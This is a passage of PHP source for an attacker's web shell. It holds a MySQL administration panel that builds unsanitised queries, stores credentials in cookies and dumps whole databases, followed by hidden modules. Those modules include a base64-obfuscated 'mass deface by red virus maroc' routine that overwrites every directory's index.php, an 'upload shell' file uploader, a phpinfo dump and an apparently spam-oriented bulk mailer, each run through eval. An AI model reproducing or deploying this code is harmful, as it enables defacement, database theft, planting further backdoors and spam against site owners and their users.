<tr>
<td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr> 
<tr>
<td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
<td colspan=5><center>value list</center></td>
</tr>
<tr>
<td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
<td colspan=5><center>value list</center></td>
</tr>

</table>
<table>
<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
<tr>
<td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
<td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
<td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
<td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
</tr>
</table>


<h3>Flags</h3>
<table>
<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
<tr>
<td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
<td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
</tr>
</table>

<p>';

	if( $cmd == "add" )
		echo "<input type=submit value='Add Field'>\n";
	else if( $cmd == "edit" )
		echo "<input type=submit value='Edit Field'>\n";
	echo "<input type=button value=Cancel onClick='history.back()'>\n";
	echo "</form>\n";
}

function manageField_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
		$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;

	if( $cmd == "add" )
		$queryStr = "ALTER TABLE $tablename ADD $name ";
	else if( $cmd == "edit" )
		$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
	
	if( $M != "" )
		if( $D != "" )
			$queryStr .= "$type($M,$D) ";
		else
			$queryStr .= "$type($M) ";
	else if( $valuelist != "" ) {
		$valuelist = stripslashes( $valuelist );
		$queryStr .= "$type($valuelist) ";
	} else
		$queryStr .= "$type ";

	$queryStr .= "$unsigned $zerofill $binary ";

	if( $default_value != "" )
		$queryStr .= "DEFAULT '$default_value' ";
	
	$queryStr .= "$not_null $auto_increment";

	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	// key change
	$keyChange = false;
	$result = mysql_query( "SHOW KEYS FROM $tablename" );
	$primary = "";
	while( $row = mysql_fetch_array($result) )
		if( $row["Key_name"] == "PRIMARY" ) {
			if( $row[Column_name] == $name )
				$keyChange = true;
			else
				$primary .= ", $row[Column_name]";
		}
	if( $primary_key == "PRIMARY KEY" ) {
		$primary .= ", $name";
		$keyChange = !$keyChange;
	}
	$primary = substr( $primary, 2 );
	if( $keyChange == true ) {
		$q = "ALTER TABLE $tablename DROP PRIMARY KEY";
		mysql_query( $q );
		$queryStr .= "<br>\n" . $q;
		$errMsg .= "<br>\n" . mysql_error();
		$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
		mysql_query( $q );
		$queryStr .= "<br>\n" . $q;
		$errMsg .= "<br>\n" . mysql_error();
	}

	viewSchema();
}

function dropField() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewSchema();
}

function viewData( $queryStr ) {
	global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;

	echo "<h1>Data in Table</h1>\n";
	if( $tablename != "" )
		echo "<p class=location>$dbname &gt; $tablename</p>\n";
	else
		echo "<p class=location>$dbname</p>\n";

	$queryStr = stripslashes( $queryStr );
	if( $queryStr == "" ) {
		$queryStr = "SELECT * FROM $tablename";
		if( $orderby != "" )
			$queryStr .= " ORDER BY $orderby";
		echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
		echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
	}

	$pResult = mysql_db_query( $dbname, $queryStr );
	$fieldt = mysql_fetch_field($pResult);
	$tablename = $fieldt->table;
	$errMsg = mysql_error();

	$GLOBALS[queryStr] = $queryStr;

	if( $pResult == false ) {
		echoQueryResult();
		return;
	}
	if( $pResult == 1 ) {
		$errMsg = "Success";
		echoQueryResult();
		return;
	}

	echo "<hr>\n";

	$row = mysql_num_rows( $pResult );
	$col = mysql_num_fields( $pResult );

	if( $row == 0 ) {
		echo "No Data Exist!";
		return;
	}
	
	if( $rowperpage == "" ) $rowperpage = 30;
	if( $page == "" ) $page = 0;
	else $page--;
	mysql_data_seek( $pResult, $page * $rowperpage );

	echo "<table cellspacing=1 cellpadding=2>\n";
	echo "<tr>\n";
	for( $i = 0; $i < $col; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		echo "<th>";
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
		else
			echo "<font	style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>\n";
		echo "</th>\n";
	}
	echo "<th colspan=2>Action</th>\n";
	echo "</tr>\n";

	for( $i = 0; $i < $rowperpage; $i++ ) {
		$rowArray = mysql_fetch_row( $pResult );
		if( $rowArray == false ) break;
		echo "<tr>\n";
		$key = "";
		for( $j = 0; $j < $col; $j++ ) {
			$data = $rowArray[$j];

			$field = mysql_fetch_field( $pResult, $j );
			if( $field->primary_key == 1 )
				$key .= "&" . $field->name . "=" . $data;

			if( strlen( $data ) > 30 )
				$data = substr( $data, 0, 30 ) . "...";
			$data = htmlspecialchars( $data );
			echo "<td>\n";
			echo "$data\n";
			echo "</td>\n";
		}
		 
		if( $key == "" )
			echo "<td colspan=2>no Key</td>\n";
		else {
			echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
			echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
		}
		echo "</tr>\n";
	}
	echo "</table>\n";

	echo "<font size=2>\n";
	if($action == "viewData")
		echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
	else
		echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
	echo "<font color=green>\n";
	echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
	echo "</font>\n";
	echo " | ";
	if( $page > 0 ) {
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
		else
			echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
		if( $orderby != "" && $action == "viewData")
			echo "&orderby=$orderby";
		echo "'>Prev</a>\n";
	} else
		echo "Prev";
	echo " | ";
	if( $page < ($row/$rowperpage)-1 ) {
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
		else
			echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
		if( $orderby != "" && $action == "viewData")
			echo "&orderby=$orderby";
		echo "'>Next</a>\n";
	} else
		echo "Next";
	echo " | ";
	if( $row > $rowperpage ) {
		echo "<input type=text size=4 name=page>\n";
		echo "<input type=submit value='Go'>\n";
	}
	echo "</form>\n";
	echo "</font>\n";
}

function manageData( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Data</h1>\n";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Data</h1>\n";
		$pResult = mysql_list_fields( $dbname, $tablename );
		$num = mysql_num_fields( $pResult );
	
		$key = "";
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			if( $field->primary_key == 1 )
				if( $field->numeric == 1 )
					$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
				else
					$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
		}
		$key = substr( $key, 0, strlen($key)-4 );

		mysql_select_db( $dbname, $mysqlHandle );
		$pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
		$data = mysql_fetch_array( $pResult );
	}

	echo "<p class=location>$dbname &gt; $tablename</p>\n";

	echo "<form action='$PHP_SELF' method=post>\n";
	if( $cmd == "add" )
		echo "<input type=hidden name=action value=addData_submit>\n";
	else if( $cmd == "edit" )
		echo "<input type=hidden name=action value=editData_submit>\n";
	echo "<input type=hidden name=dbname value=$dbname>\n";
	echo "<input type=hidden name=tablename value=$tablename>\n";
	echo "<table cellspacing=1 cellpadding=2>\n";
	echo "<tr>\n";
	echo "<th>Name</th>\n";
	echo "<th>Type</th>\n";
	echo "<th>Function</th>\n";
	echo "<th>Data</th>\n";
	echo "</tr>\n";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	$pResultLen = mysql_list_fields( $dbname, $tablename );

	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		$fieldname = $field["Field"];
		$fieldtype = $field["Type"];
		$len = mysql_field_len( $pResultLen, $i );

		echo "<tr>";
		echo "<td>$fieldname</td>";
		echo "<td>".$field["Type"]."</td>";
		echo "<td>\n";
		echo "<select name=${fieldname}_function>\n";
		echo "<option>\n";
		echo "<option>ASCII\n";
		echo "<option>CHAR\n";
		echo "<option>SOUNDEX\n";
		echo "<option>CURDATE\n";
		echo "<option>CURTIME\n";
		echo "<option>FROM_DAYS\n";
		echo "<option>FROM_UNIXTIME\n";
		echo "<option>NOW\n";
		echo "<option>PASSWORD\n";
		echo "<option>PERIOD_ADD\n";
		echo "<option>PERIOD_DIFF\n";
		echo "<option>TO_DAYS\n";
		echo "<option>USER\n";
		echo "<option>WEEKDAY\n";
		echo "<option>RAND\n";
		echo "</select>\n";
		echo "</td>\n";
		$value = htmlspecialchars($data[$i]);
		if( $cmd == "add" ) {
			$type = strtok( $fieldtype, " (,)\n" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>\n";
				if( $type == "enum" )
					echo "<select name=$fieldname>\n";
				else if( $type == "set" )
					echo "<select name=$fieldname size=10 multiple>\n";
				while( $str = strtok( "'" ) ) {
					echo "<option>$str\n";
					strtok( "'" );
				}
				echo "</select>\n";
				echo "</td>\n";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
				else
					echo "<td><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
			}
		} else if( $cmd == "edit" ) {
			$type = strtok( $fieldtype, " (,)\n" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>\n";
				if( $type == "enum" )
					echo "<select name=$fieldname>\n";
				else if( $type == "set" )
					echo "<select name=$fieldname size=10 multiple>\n";
				while( $str = strtok( "'" ) ) {
					if( $value == $str )
						echo "<option selected>$str\n";
					else
						echo "<option>$str\n";
					strtok( "'" );
				}
				echo "</select>\n";
				echo "</td>\n";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
				else
					echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
			}
		}
		echo "</tr>";
	}
	echo "</table><p>\n";
	if( $cmd == "add" )
		echo "<input type=submit value='Add Data'>\n";
	else if( $cmd == "edit" )
		echo "<input type=submit value='Edit Data'>\n";
	echo "<input type=button value='Cancel' onClick='history.back()'>\n";
	echo "</form>\n";
}

function manageData_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	mysql_select_db( $dbname, $mysqlHandle );
	if( $cmd == "add" )
		$queryStr = "INSERT INTO $tablename VALUES (";
	else if( $cmd == "edit" )
		$queryStr = "REPLACE INTO $tablename VALUES (";
	for( $i = 0; $i < $num-1; $i++ ) {
		$field = mysql_fetch_field( $pResult );
		$func = $GLOBALS[$field->name."_function"];
		if( $func != "" )
			$queryStr .= " $func(";
		if( $field->numeric == 1 ) {
			$queryStr .= $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "),";
			else
				$queryStr .= ",";
		} else {
			$queryStr .= "'" . $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "'),";
			else
				$queryStr .= "',";
		}
	}
	$field = mysql_fetch_field( $pResult );
	if( $field->numeric == 1 )
		$queryStr .= $GLOBALS[$field->name] . ")";
	else 
		$queryStr .= "'" . $GLOBALS[$field->name] . "')";

	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function deleteData() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	$key = "";
	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		if( $field->primary_key == 1 )
			if( $field->numeric == 1 )
				$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
			else
				$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
	}
	$key = substr( $key, 0, strlen($key)-4 );

	mysql_select_db( $dbname, $mysqlHandle );
	$queryStr =  "DELETE FROM $tablename WHERE $key";
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function fetch_table_dump_sql($table)
{
	global $mysqlHandle,$dbname;
	
	mysql_select_db( $dbname, $mysqlHandle );
	$query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
	$tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
	$tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";

	echo $tabledump;

	// get data
	$rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
	$numfields=mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows, MYSQL_NUM))
	{
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter = -1;
		$firstfield = 1;
		// get each field's data
		while (++$fieldcounter < $numfields)
		{
			if (!$firstfield)
			{
				$tabledump .= ', ';
			}
			else
			{
				$firstfield = 0;
			}

			if (!isset($row["$fieldcounter"]))
			{
				$tabledump .= 'NULL';
			}
			else
			{
				$tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
			}
		}

		$tabledump .= ");\n";

		echo $tabledump;

	}
	@mysql_free_result($rows);
}

function dump() {
	global $mysqlHandle, $action, $dbname, $tablename;

	if( $action == "dumpTable" ){

		header("Content-disposition: filename=$tablename.sql");
		header('Content-type: unknown/unknown');
		fetch_table_dump_sql($tablename);
		echo "\n\n\n";
		echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
		exit;		
				
	}else{
		header("Content-disposition: filename=$dbname.sql");
		header('Content-type: unknown/unknown');
		
		mysql_select_db( $dbname, $mysqlHandle );
		$query_id = mysql_query("SHOW tables",$mysqlHandle);
		while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
		{
				fetch_table_dump_sql($row[0]);
				echo "\n\n\n";
				echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
				echo "\n\n\n";
		}
		echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
		exit;		

	}

}

function utils() {
	global $PHP_SELF, $command;
	echo "<h1>Utilities</h1>\n";
	if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
		echo "<hr>\n";
		echo "Show\n";
		echo "<ul>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
		echo "</ul>\n";
		echo "Flush\n";
		echo "<ul>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
		if( $command == "flush_hosts" ) {
			if( mysql_query( "Flush hosts" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
		if( $command == "flush_logs" ) {
			if( mysql_query( "Flush logs" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
		if( $command == "flush_privileges" ) {
			if( mysql_query( "Flush privileges" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
		if( $command == "flush_tables" ) {
			if( mysql_query( "Flush tables" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
		if( $command == "flush_status" ) {
			if( mysql_query( "Flush status" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "</ul>\n";
	} else {
		$queryStr = ereg_replace( "_", " ", $command );
		$pResult = mysql_query( $queryStr );
		if( $pResult == false ) {
			echo "Fail";
			return;
		}
		$col = mysql_num_fields( $pResult );

		echo "<p class=location>$queryStr</p>\n";
		echo "<hr>\n";

		echo "<table cellspacing=1 cellpadding=2 border=0>\n";
		echo "<tr>\n";
		for( $i = 0; $i < $col; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			echo "<th>".$field->name."</th>\n";
		}
		echo "</tr>\n";

		while( 1 ) {
			$rowArray = mysql_fetch_row( $pResult );
			if( $rowArray == false ) break;
			echo "<tr>\n";
			for( $j = 0; $j < $col; $j++ )
				echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
			echo "</tr>\n";
		}
		echo "</table>\n";
	}
}

function header_html() {
	global $PHP_SELF;
	
echo '
<html>
<head>
<style type="text/css">
<!--
p.location {
	color: #11bb33;
	font-size: small;
}
h1 {
	color: #A4A260;
}
th {
	background-color: #BDBE42;
	color: #FFFFFF;
	font-size: x-small;
}
td {
	background-color: #DEDFA5;
	font-size: x-small;
}
form {
	margin-top: 0;
	margin-bottom: 0;
}
a {
	text-decoration:none;
	color: #848200;
	font-size:x-small;
}
a:link {
}
a:hover {
	background-color:#EEEFD5;
	color:#646200;
	text-decoration:none               
}
//-->
</style>
</head>
<body>
';
}

function footer_html() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;

	echo "<hr>\n";
	echo "<font size=2 color=blue>[$USERNAME]</font> - \n";

	echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";
	if( $tablename != "" )
		echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
	echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
	echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
	echo "</font>\n";
	echo "</body>\n";
	echo "</html>\n";
}




//------------- MAIN ------------- //
error_reporting(0);
ini_set ('display_errors', 0);
ini_set ('log_errors', 0);

if( $action == "logon" || $action == "" || $action == "logout" )
	logon();
else if( $action == "logon_submit" )
	logon_submit();
else if( $action == "dumpTable" || $action == "dumpDB" ) {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
	dump();
} else {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	echo "<!--";
	$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
	echo "-->";

	if( $mysqlHandle == false ) {
		echo "<html>\n";
		echo "<head>\n";
		echo "</head>\n";
		echo "<body>\n";
		echo "<table width=100% height=100%><tr><td><center>\n";
		echo "<h1>Wrong Password!</h1>\n";
		echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
		echo "</center></td></tr></table>\n";
		echo "</body>\n";
		echo "</html>\n";
	} else {
		header_html();
		if( $action == "listDBs" )
			listDatabases();
		else if( $action == "createDB" )
			createDatabase();
		else if( $action == "dropDB" )
			dropDatabase();
		else if( $action == "listTables" )
			listTables();
		else if( $action == "createTable" )
			createTable();
		else if( $action == "dropTable" )
			dropTable();
		else if( $action == "viewSchema" )
			viewSchema();
		else if( $action == "query" )
			viewData( $queryStr );
		else if( $action == "addField" )
			manageField( "add" );
		else if( $action == "addField_submit" )
			manageField_submit( "add" );
		else if( $action == "editField" )
			manageField( "edit" );
		else if( $action == "editField_submit" )
			manageField_submit( "edit" );
		else if( $action == "dropField" )
			dropField();
		else if( $action == "viewData" )
			viewData( "" );
		else if( $action == "addData" )
			manageData( "add" );
		else if( $action == "addData_submit" )
			manageData_submit( "add" );
		else if( $action == "editData" )
			manageData( "edit" );
		else if( $action == "editData_submit" )
			manageData_submit( "edit" );
		else if( $action == "deleteData" )
			deleteData();
		else if( $action == "utils" )
			utils();

		mysql_close( $mysqlHandle);
		footer_html();
	}
}

?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php

}

else if (preg_match) {
}


?>

<?
///////////////////////////////////////////// mass deface ////////////////////////////////////////
if ($_GET['tha'] == 'mass') {
?>
<center>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
mass deface by red virus maroc
</center><br><br>
<?php eval(base64_decode("ZWNobyAiPGNlbnRlcj48dGV4dGFyZWEgc3R5bGU9J2JvcmRlcjoxcHggZG90dGVkICM1OUU4MTc7
ICBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXpl
OjhwdDsgY29sb3I6IzU5RTgxNycgcm93cz0nMTAnIGNvbHM9JzEwMCc+IjsKJGRlZmFjZXVybCA9
ICRfUE9TVFsnbWFzc2RlZmFjZXVybCddOwokZGlyID0gJF9QT1NUWydtYXNzZGVmYWNlZGlyJ107
CmVjaG8gJGRpci4iXG4iOwogCmlmIChpc19kaXIoJGRpcikpIHsKICAgIGlmICgkZGggPSBvcGVu
ZGlyKCRkaXIpKSB7CiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZh
bHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZpbGV0eXBlKCRkaXIuJGZpbGUpPT0i
ZGlyIil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld2ZpbGU9JGRpci4kZmls
ZS4iL2luZGV4LnBocCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkbmV3
ZmlsZS4iXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghY29weSgkZGVm
YWNldXJsLCAkbmV3ZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gImZhaWxlZCB0byBjb3B5ICRmaWxlLi4uXG4iOwogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAg
ICBjbG9zZWRpcigkZGgpOwogICAgfQp9CmVjaG8gIjwvdGV4dGFyZWE+PC9jZW50ZXI+Ijs=")); ?>

<center><br><br>
<td align=right>==========================================================</td><br><br>
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
[+] Main Directory: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'><br>
[+] Defacement Url: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name='massdefaceurl'><br>
<input type='submit' name='execmassdeface' value='Goooo'></form></td>
</center> 



</body></html><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php
}

else if (preg_match) {
}


?>
<?
////////////////////////////////// phpinfo /////////////////////////////////////
if ($_GET['tha'] == 'phpinfo') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<center>
</center>
<?php eval(base64_decode("cGhwaW5mbygpOw==")); ?>
<?
}

else if (preg_match) {
}


?>
<?
///////////////////////////////////////////////// upload //////////////////////////////////////
if ($_GET['tha'] == 'upload') {

?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
 <font size='5' color='green'>
 upload shell :)
 </font> 
<br><br>  <?php eval(base64_decode("ZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zv
cm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsgCgplY2hvICc8aW5wdXQg
IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgIG5hbWU9Il91cGwiIHR5
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WydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7IGlmKEBjb3B5KCRfRklMRVMKClsnZmlsZSddWyd0bXBf
bmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+RklsZSBVcGxvYWRl
ZCEhITwvYj48YnI+PGJyPic7IH0gZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48
YnI+PGJyPjwvZm9udD4nOyB9IH0=")); ?><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
 </center>
 </body>
 </haed>
 </html>
<?
}

else if (preg_match) {
}


?>

<?
////////////////////////////////////////// mailer /////////////////////////////////////////////
if ($_GET['tha'] == 'mailer') {

?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php eval(base64_decode("aWdub3JlX3VzZXJfYWJvcnQoKTsKc2V0X3RpbWVfbGltaXQoMCk7CmZ1bmN0aW9uIGVudmlhbmRv
KCl7CiRtc2c9MTsKJGRlWzFdID0gJF9QT1NUWydkZSddOwokbm9tZVsxXSA9ICRfUE9TVFsnbm9t
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bm8sICRhc3N1bnRvWyRtc2ddLCAkbXNncmFuZCwgJGhlYWRlcnMpOwppZiAoJGVudmlhcil7CmVj
aG8gKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPicuICRuX21haWwgLictJy4gJGRlc3Rpbm8gLicgMGsh
PC9mb250Pjxicj4nKTsKfSBlbHNlIHsKZWNobyAoJzxmb250IGNvbG9yPSJyZWQiPicuICRuX21h
